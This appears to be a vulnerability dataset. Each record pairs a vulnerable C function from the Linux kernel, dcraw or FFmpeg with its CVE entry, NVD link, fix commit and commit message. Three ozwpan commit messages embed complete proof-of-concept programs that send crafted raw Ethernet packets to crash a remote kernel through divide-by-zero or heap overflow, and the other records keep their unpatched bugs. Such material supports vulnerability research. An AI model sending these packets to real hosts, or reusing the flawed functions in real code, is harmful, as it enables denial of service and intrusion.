&udf_symlink_inode_operations; inode->i_mode = S_IFLNK | S_IRWXUGO; break; case ICBTAG_FILE_TYPE_MAIN: udf_debug("METADATA FILE-----\n"); break; case ICBTAG_FILE_TYPE_MIRROR: udf_debug("METADATA MIRROR FILE-----\n"); break; case ICBTAG_FILE_TYPE_BITMAP: udf_debug("METADATA BITMAP FILE-----\n"); break; default: udf_err(inode->i_sb, "(ino %ld) failed unknown file type=%d\n", inode->i_ino, fe->icbTag.fileType); goto out; } if (S_ISCHR(inode->i_mode) || S_ISBLK(inode->i_mode)) { struct deviceSpec *dsea = (struct deviceSpec *)udf_get_extendedattr(inode, 12, 1); if (dsea) { init_special_inode(inode, inode->i_mode, MKDEV(le32_to_cpu(dsea->majorDeviceIdent), le32_to_cpu(dsea->minorDeviceIdent))); /* Developer ID ??? */ } else goto out; } ret = 0; out: brelse(bh); return ret; }

None

CVE-2015-4167

The udf_read_inode function in fs/udf/inode.c in the Linux kernel before 3.19.1 does not validate certain length values, which allows local users to cause a denial of service (incorrect data representation or integer overflow, and OOPS) via a crafted UDF filesystem.

https://nvd.nist.gov/vuln/detail/CVE-2015-4167

linux

04bf464a5dfd9ade0dda918e44366c2c61fce80b

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/04bf464a5dfd9ade0dda918e44366c2c61fce80b

ozwpan: divide-by-zero leading to panic A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, struct oz_usb_hdr *usb_hdr, int len) { struct oz_data *data_hdr = (struct oz_data *)usb_hdr; switch (data_hdr->format) { case OZ_DATA_F_MULTIPLE_FIXED: { struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr; u8 *data = body->data; int n = (len - sizeof(struct oz_multiple_fixed)+1) / body->unit_size; while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, body->unit_size); data += body->unit_size; } } break; case OZ_DATA_F_ISOC_FIXED: { struct oz_isoc_fixed *body = (struct oz_isoc_fixed *)data_hdr; int data_len = len-sizeof(struct oz_isoc_fixed)+1; int unit_size = body->unit_size; u8 *data = body->data; int count; int i; if (!unit_size) break; count = data_len/unit_size; for (i = 0; i < count; i++) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint, data, unit_size); data += unit_size; } } break; } }

ozusbsvc1.c

CVE-2015-4003

The oz_usb_handle_ep_data function in drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (divide-by-zero error and system crash) via a crafted packet.

https://nvd.nist.gov/vuln/detail/CVE-2015-4003

linux

d114b9fe78c8d6fc6e70808c2092aa307c36dc8e

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/d114b9fe78c8d6fc6e70808c2092aa307c36dc8e

ozwpan: Use proper check to prevent heap overflow Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) - 2 }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(0), .total_size = htole16(0), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) { struct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1); struct oz_usb_ctx *usb_ctx; spin_lock_bh(&pd->app_lock[OZ_APPID_USB]); usb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB]; if (usb_ctx) oz_usb_get(usb_ctx); spin_unlock_bh(&pd->app_lock[OZ_APPID_USB]); if (usb_ctx == NULL) return; /* Context has gone so nothing to do. */ if (usb_ctx->stopped) goto done; /* If sequence number is non-zero then check it is not a duplicate. * Zero sequence numbers are always accepted. */ if (usb_hdr->elt_seq_num != 0) { if (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0) /* Reject duplicate element. */ goto done; } usb_ctx->rx_seq_num = usb_hdr->elt_seq_num; switch (usb_hdr->type) { case OZ_GET_DESC_RSP: { struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; int data_len = elt->length - sizeof(struct oz_get_desc_rsp) + 1; u16 offs = le16_to_cpu(get_unaligned(&body->offset)); u16 total_size = le16_to_cpu(get_unaligned(&body->total_size)); oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n"); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, data_len, offs, total_size); } break; case OZ_SET_CONFIG_RSP: { struct oz_set_config_rsp *body = (struct oz_set_config_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_SET_INTERFACE_RSP: { struct oz_set_interface_rsp *body = (struct oz_set_interface_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, NULL, 0); } break; case OZ_VENDOR_CLASS_RSP: { struct oz_vendor_class_rsp *body = (struct oz_vendor_class_rsp *)usb_hdr; oz_hcd_control_cnf(usb_ctx->hport, body->req_id, body->rcode, body->data, elt->length- sizeof(struct oz_vendor_class_rsp)+1); } break; case OZ_USB_ENDPOINT_DATA: oz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length); break; } done: oz_usb_put(usb_ctx); }

ozusbsvc1.c

CVE-2015-4002

drivers/staging/ozwpan/ozusbsvc1.c in the OZWPAN driver in the Linux kernel through 4.0.5 does not ensure that certain length values are sufficiently large, which allows remote attackers to cause a denial of service (system crash or large loop) or possibly execute arbitrary code via a crafted packet, related to the (1) oz_usb_rx and (2) oz_usb_handle_ep_data functions.

https://nvd.nist.gov/vuln/detail/CVE-2015-4002

linux

b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/b1bb5b49373b61bf9d2c73a4d30058ba6f069e4c

ozwpan: Use unsigned ints to prevent heap overflow Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> Acked-by: Dan Carpenter <dan.carpenter@oracle.com> Cc: stable <stable@vger.kernel.org> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, int length, int offset, int total_size) { struct oz_port *port = hport; struct urb *urb; int err = 0; oz_dbg(ON, "oz_hcd_get_desc_cnf length = %d offs = %d tot_size = %d\n", length, offset, total_size); urb = oz_find_urb_by_id(port, 0, req_id); if (!urb) return; if (status == 0) { int copy_len; int required_size = urb->transfer_buffer_length; if (required_size > total_size) required_size = total_size; copy_len = required_size-offset; if (length <= copy_len) copy_len = length; memcpy(urb->transfer_buffer+offset, desc, copy_len); offset += copy_len; if (offset < required_size) { struct usb_ctrlrequest *setup = (struct usb_ctrlrequest *)urb->setup_packet; unsigned wvalue = le16_to_cpu(setup->wValue); if (oz_enqueue_ep_urb(port, 0, 0, urb, req_id)) err = -ENOMEM; else if (oz_usb_get_desc_req(port->hpd, req_id, setup->bRequestType, (u8)(wvalue>>8), (u8)wvalue, setup->wIndex, offset, required_size-offset)) { oz_dequeue_ep_urb(port, 0, 0, urb); err = -ENOMEM; } if (err == 0) return; } } urb->actual_length = total_size; oz_complete_urb(port->ozhcd->hcd, urb, 0); }

ozhcd.c

CVE-2015-4001

Integer signedness error in the oz_hcd_get_desc_cnf function in drivers/staging/ozwpan/ozhcd.c in the OZWPAN driver in the Linux kernel through 4.0.5 allows remote attackers to cause a denial of service (system crash) or possibly execute arbitrary code via a crafted packet.

https://nvd.nist.gov/vuln/detail/CVE-2015-4001

rawstudio

983bda1f0fa5fa86884381208274198a620f006e

https://github.com/rawstudio/rawstudio

https://github.com/rawstudio/rawstudio/commit/983bda1f0fa5fa86884381208274198a620f006e

Avoid overflow in ljpeg_start().

int CLASS ljpeg_start (struct jhead *jh, int info_only) { int c, tag, len; uchar data[0x10000]; const uchar *dp; memset (jh, 0, sizeof *jh); jh->restart = INT_MAX; fread (data, 2, 1, ifp); if (data[1] != 0xd8) return 0; do { fread (data, 2, 2, ifp); tag = data[0] << 8 | data[1]; len = (data[2] << 8 | data[3]) - 2; if (tag <= 0xff00) return 0; fread (data, 1, len, ifp); switch (tag) { case 0xffc3: jh->sraw = ((data[7] >> 4) * (data[7] & 15) - 1) & 3; case 0xffc0: jh->bits = data[0]; jh->high = data[1] << 8 | data[2]; jh->wide = data[3] << 8 | data[4]; jh->clrs = data[5] + jh->sraw; if (len == 9 && !dng_version) getc(ifp); break; case 0xffc4: if (info_only) break; for (dp = data; dp < data+len && (c = *dp++) < 4; ) jh->free[c] = jh->huff[c] = make_decoder_ref (&dp); break; case 0xffda: jh->psv = data[1+data[0]*2]; jh->bits -= data[3+data[0]*2] & 15; break; case 0xffdd: jh->restart = data[0] << 8 | data[1]; } } while (tag != 0xffda); if (info_only) return 1; FORC(5) if (!jh->huff[c+1]) jh->huff[c+1] = jh->huff[c]; if (jh->sraw) { FORC(4) jh->huff[2+c] = jh->huff[1]; FORC(jh->sraw) jh->huff[1+c] = jh->huff[0]; } jh->row = (ushort *) calloc (jh->wide*jh->clrs, 4); merror (jh->row, "ljpeg_start()"); return zero_after_ff = 1; }

dcraw.cc

CVE-2015-3885

Integer overflow in the ljpeg_start function in dcraw 7.00 and earlier allows remote attackers to cause a denial of service (crash) via a crafted image, which triggers a buffer overflow, related to the len variable.

https://nvd.nist.gov/vuln/detail/CVE-2015-3885

linux

a134f083e79fb4c3d0a925691e732c56911b4326

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/a134f083e79fb4c3d0a925691e732c56911b4326

ipv4: Missing sk_nulls_node_init() in ping_unhash(). If we don't do that, then the poison value is left in the ->pprev backlink. This can cause crashes if we do a disconnect, followed by a connect(). Tested-by: Linus Torvalds <torvalds@linux-foundation.org> Reported-by: Wen Xu <hotdog3645@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>

void ping_unhash(struct sock *sk) { struct inet_sock *isk = inet_sk(sk); pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num); if (sk_hashed(sk)) { write_lock_bh(&ping_table.lock); hlist_nulls_del(&sk->sk_nulls_node); sock_put(sk); isk->inet_num = 0; isk->inet_sport = 0; sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1); write_unlock_bh(&ping_table.lock); } }

ping.c

CVE-2015-3636

The ping_unhash function in net/ipv4/ping.c in the Linux kernel before 4.0.3 does not initialize a certain list data structure during an unhash operation, which allows local users to gain privileges or cause a denial of service (use-after-free and system crash) by leveraging the ability to make a SOCK_DGRAM socket system call for the IPPROTO_ICMP or IPPROTO_ICMPV6 protocol, and then making a connect system call after a disconnect.

https://nvd.nist.gov/vuln/detail/CVE-2015-3636

FFmpeg

e8714f6f93d1a32f4e4655209960afcf4c185214

https://github.com/FFmpeg/FFmpeg

https://github.com/FFmpeg/FFmpeg/commit/e8714f6f93d1a32f4e4655209960afcf4c185214

avcodec/h264: Clear delayed_pic on deallocation Fixes use of freed memory Fixes: case5_av_frame_copy_props.mp4 Found-by: Michal Zalewski <lcamtuf@coredump.cx> Signed-off-by: Michael Niedermayer <michaelni@gmx.at>

void ff_h264_free_tables(H264Context *h, int free_rbsp) { int i; H264Context *hx; av_freep(&h->intra4x4_pred_mode); av_freep(&h->chroma_pred_mode_table); av_freep(&h->cbp_table); av_freep(&h->mvd_table[0]); av_freep(&h->mvd_table[1]); av_freep(&h->direct_table); av_freep(&h->non_zero_count); av_freep(&h->slice_table_base); h->slice_table = NULL; av_freep(&h->list_counts); av_freep(&h->mb2b_xy); av_freep(&h->mb2br_xy); av_buffer_pool_uninit(&h->qscale_table_pool); av_buffer_pool_uninit(&h->mb_type_pool); av_buffer_pool_uninit(&h->motion_val_pool); av_buffer_pool_uninit(&h->ref_index_pool); if (free_rbsp && h->DPB) { for (i = 0; i < H264_MAX_PICTURE_COUNT; i++) ff_h264_unref_picture(h, &h->DPB[i]); av_freep(&h->DPB); } else if (h->DPB) { for (i = 0; i < H264_MAX_PICTURE_COUNT; i++) h->DPB[i].needs_realloc = 1; } h->cur_pic_ptr = NULL; for (i = 0; i < H264_MAX_THREADS; i++) { hx = h->thread_context[i]; if (!hx) continue; av_freep(&hx->top_borders[1]); av_freep(&hx->top_borders[0]); av_freep(&hx->bipred_scratchpad); av_freep(&hx->edge_emu_buffer); av_freep(&hx->dc_val_base); av_freep(&hx->er.mb_index2xy); av_freep(&hx->er.error_status_table); av_freep(&hx->er.er_temp_buffer); av_freep(&hx->er.mbintra_table); av_freep(&hx->er.mbskip_table); if (free_rbsp) { av_freep(&hx->rbsp_buffer[1]); av_freep(&hx->rbsp_buffer[0]); hx->rbsp_buffer_size[0] = 0; hx->rbsp_buffer_size[1] = 0; } if (i) av_freep(&h->thread_context[i]); } }

h264.c

CVE-2015-3417

Use-after-free vulnerability in the ff_h264_free_tables function in libavcodec/h264.c in FFmpeg before 2.3.6 allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted H.264 data in an MP4 file, as demonstrated by an HTML VIDEO element that references H.264 data.

https://nvd.nist.gov/vuln/detail/CVE-2015-3417

linux

8b01fc86b9f425899f8a3a8fc1c47d73c2c20543

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/8b01fc86b9f425899f8a3a8fc1c47d73c2c20543

fs: take i_mutex during prepare_binprm for set[ug]id executables This prevents a race between chown() and execve(), where chowning a setuid-user binary to root would momentarily make the binary setuid root. This patch was mostly written by Linus Torvalds. Signed-off-by: Jann Horn <jann@thejh.net> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

int prepare_binprm(struct linux_binprm *bprm) { struct inode *inode = file_inode(bprm->file); umode_t mode = inode->i_mode; int retval; /* clear any previous set[ug]id data from a previous binary */ bprm->cred->euid = current_euid(); bprm->cred->egid = current_egid(); if (!(bprm->file->f_path.mnt->mnt_flags & MNT_NOSUID) && !task_no_new_privs(current) && kuid_has_mapping(bprm->cred->user_ns, inode->i_uid) && kgid_has_mapping(bprm->cred->user_ns, inode->i_gid)) { /* Set-uid? */ if (mode & S_ISUID) { bprm->per_clear |= PER_CLEAR_ON_SETID; bprm->cred->euid = inode->i_uid; } /* Set-gid? */ /* * If setgid is set but no group execute bit then this * is a candidate for mandatory locking, not a setgid * executable. */ if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { bprm->per_clear |= PER_CLEAR_ON_SETID; bprm->cred->egid = inode->i_gid; } } /* fill in binprm security blob */ retval = security_bprm_set_creds(bprm); if (retval) return retval; bprm->cred_prepared = 1; memset(bprm->buf, 0, BINPRM_BUF_SIZE); return kernel_read(bprm->file, 0, bprm->buf, BINPRM_BUF_SIZE); }

exec.c

CVE-2015-3339

Race condition in the prepare_binprm function in fs/exec.c in the Linux kernel before 3.19.6 allows local users to gain privileges by executing a setuid program at a time instant when a chown to root is in progress, and the ownership is changed but the setuid bit is not yet stripped.

https://nvd.nist.gov/vuln/detail/CVE-2015-3339

linux

ccfe8c3f7e52ae83155cb038753f4c75b774ca8a

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/ccfe8c3f7e52ae83155cb038753f4c75b774ca8a

crypto: aesni - fix memory usage in GCM decryption The kernel crypto API logic requires the caller to provide the length of (ciphertext || authentication tag) as cryptlen for the AEAD decryption operation. Thus, the cipher implementation must calculate the size of the plaintext output itself and cannot simply use cryptlen. The RFC4106 GCM decryption operation tries to overwrite cryptlen memory in req->dst. As the destination buffer for decryption only needs to hold the plaintext memory but cryptlen references the input buffer holding (ciphertext || authentication tag), the assumption of the destination buffer length in RFC4106 GCM operation leads to a too large size. This patch simply uses the already calculated plaintext size. In addition, this patch fixes the offset calculation of the AAD buffer pointer: as mentioned before, cryptlen already includes the size of the tag. Thus, the tag does not need to be added. With the addition, the AAD will be written beyond the already allocated buffer. Note, this fixes a kernel crash that can be triggered from user space via AF_ALG(aead) -- simply use the libkcapi test application from [1] and update it to use rfc4106-gcm-aes. Using [1], the changes were tested using CAVS vectors to demonstrate that the crypto operation still delivers the right results. [1] http://www.chronox.de/libkcapi.html CC: Tadeusz Struk <tadeusz.struk@intel.com> Cc: stable@vger.kernel.org Signed-off-by: Stephan Mueller <smueller@chronox.de> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>

